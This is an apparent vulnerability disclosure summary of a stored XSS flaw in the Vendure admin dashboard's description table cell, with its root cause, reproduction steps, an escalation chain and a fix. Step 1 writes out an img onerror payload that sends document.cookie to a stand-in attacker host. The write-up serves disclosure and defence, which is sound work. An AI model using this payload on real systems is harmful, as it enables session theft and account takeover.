# Vendure has stored XSS in the Admin Dashboard via unsafe HTML-stripping (innerHTML) of entity descriptions

Vendure dashboard's RichTextDescriptionCell assigns entity description to innerHTML to strip HTML, executing img onerror payloads stored by low-privilege admins in higher-privilege admins' browsers.

- Payout: Research
- Severity: high
- Program: Vendure
- Found by: squinard1478
- Disclosed: 2026-09-17
- CVE: CVE-2026-63459
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-xhq9-whgq-49j5
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-xhq9-whgq-49j5
- Tags: area:web domain:web impact:ato impact:privesc kind:research platform:ghsa sev:high tech:nodejs tech:react technique:chained technique:source-review vuln:xss

**Target:** Admin dashboard React table cell component (@vendure/dashboard)
**Root cause:** RichTextDescriptionCell assigns untrusted description to a live element's innerHTML to extract textContent; innerHTML parses active markup and fires resource-load handlers like img onerror even on detached nodes, so the side effect executes before textContent is read.
**Steps:**
1. As an admin with UpdateCatalog/UpdateProduct (e.g. channel-scoped admin), set a Product description to `<img src=x onerror="fetch('https://attacker.example/'+encodeURIComponent(document.cookie))">`
2. Have any administrator open the Products list in the dashboard, rendering RichTextDescriptionCell for that row
3. `div.innerHTML = value` parses the payload and the onerror fires in the viewing admin's session
4. Payload runs with the viewer's privileges, exfiltrating session/token or performing admin actions
**How found:** Code review of the dashboard's HTML-stripping helper: noticed it used a live element's innerHTML then textContent, and reasoned that innerHTML still triggers resource loads and event handlers (img onerror) even on a detached node, making the assignment itself the sink.
**Exploitation:** Low-privilege (channel-scoped) admin stores payload in a description field; when a higher-privilege admin opens any of the affected list views (products, collections, promotions, payment-methods, shipping-methods), the cell's innerHTML assignment executes the handler and exfiltrates document.cookie to the attacker, enabling cross-privilege admin takeover.
**Escalation:** Chains with channel-scoping IDOR class: single-channel admin escalates to superadmin session via stored payload viewed by higher-privilege admin.
**Insight:** 'Strip HTML' via `div.innerHTML = x; div.textContent` is not inert — img/svg onerror fires during parsing even detached; grep for innerHTML-based sanitization and replace with DOMParser (inert) or DOMPurify.

